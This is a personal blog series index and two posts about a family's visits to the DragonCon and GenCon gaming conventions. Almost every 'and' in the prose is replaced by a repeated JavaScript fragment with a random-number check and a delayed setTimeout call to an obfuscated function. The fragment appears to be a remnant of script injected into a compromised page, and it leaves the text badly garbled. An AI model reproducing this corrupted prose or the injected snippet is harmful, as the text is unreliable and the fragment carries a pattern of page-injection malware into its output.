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31 Days of Tabletop Gaming

For the month of October, Vanessa will be a part of the 31 Days of Writing challenge sponsored by The Nesting Place. Follow her as she takes you on a journey of her experiences in tabletop gaming andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and its positive effects on her family life.

Day 1: Introduction
Day 2: Why Tabletop Gaming?
Day 3: Party Games
Day 4: Gateway Games
Day 5: Strategic Games
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Day 7:  Collectible Card Games
Day 8: Deck Building Games
Day 9: Co-Op Games
Day 10: Roleplaying Games
Day 11: Miniature Gaming
Day 12: Worker Placement Games
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Day 14: Dice Games
Day 15: Fantasy Theme
Day 16: Sci-Fi Theme
Day 17: Steampunk Theme
Day 18: Historical Theme
Day 19: Literary Theme
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Day 21: Strategy Games for Children
Day 22: Why I Was Reluctant to Play Games
Day 23: Gaming Leads to Painting
Day 24: Gaming Leads to Writing
Day 25: Gaming Leads to Costuming
Day 26: Local Gaming Conventions
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Day 28: Origins
Day 29: GenCon
Day 30: DragonCon

Day 30: DragonCon

     So as we approach Halloween DragonCon is the perfect convention to talk about because it is a GIANT costume party! DragonCon is held in Atlanta, Georgia over Labor Day weekend. This year there were an estimated 52,000 people in attendance. DragonCon is a 24 hour a day costume party! There are also discussion panels, film festivals, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a celebrity hall! There is a gaming room for gamers to play a RPG or other pick up game. But the main focus is Cosplay.

     Some traditions people look forward to are the costume parade through downtown Atlanta on Saturday morning, the 501st legion which is a group of stormtroopers from all over the US, DragonCon TV, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and costume contests! Five hotels in downtown Atlanta host the event. This was our first year going to DragonCon. We attended panels andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and took a lot of pictures! We had so much fun looking at costumes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and watching people that we missed out on some panels. One thing that was different at DragonCon is you just show up for the panels. At GenCon, Origins, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and local conventions you have to sign up ahead of time, in some cases you have to pay a fee depending on the panel andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and if materials are needed. Now let’s make some costumes!

Day 29: GenCon

     July 2010 my family packed up the car andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and went on a road trip to a gaming convention in Indianapolis, Indiana. We didn’t know what to expect. We didn’t sign up for anything ahead of time. We bought our passes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and basically showed up. WOW! We were overwhelmed! We played games all day for three days straight. We walked the vendor hall for three days straight. We didn’t realize until it was time to leave that we were only in one part of the convention! We were such nerds! So, of course, we had to go the next year in order to see andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and do everything!

     GenCon is a huge gaming convention with  49,058 attendees this year! It is really overwhelming andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and hard to describe. Rows andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and rows of vendors andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and publishers with old favorites andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and new release games. Mayfair games has a huge area andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and this year set a world record for number of players in a game of Catan with 922 players! Freebies andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and give-aways are everywhere along with endless discussion panels, painting classes for beginners-advanced, costuming, jewelry making, the list goes on andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and on. People play pick up games in the hotel lobbies andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and anywhere they can find a spot to sit. There are tours of the city. We went on a ghost tour of Indianapolis. There are film festivals, dances, costume contests, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and SO much more! Oh, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and watch out on Friday night for the Zombie Walk!

      GenCon also has a lot to offer the non-gamer. There panels andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sessions for non-gamers. A crafting room is available for non-stop knitting andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and crafting. There are jewelry making sessions andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and even yoga andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and workout sessions.  There is a mall connected to the convention center for shopping!

     For us GenCon was a turning point in how we gamed as a family. We really do game together more often andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and found that we have a lot of common interests that we didn’t know before! We didn’t know we liked painting, writing, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and possible costume making! If you are a gamer andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and have not been to GenCon I urge you to go. If you think that the GenCon crowd is too big then try Origins. Even if everyone in your family doesn’t game, there is something for them to do. Chances are they will find a game they like!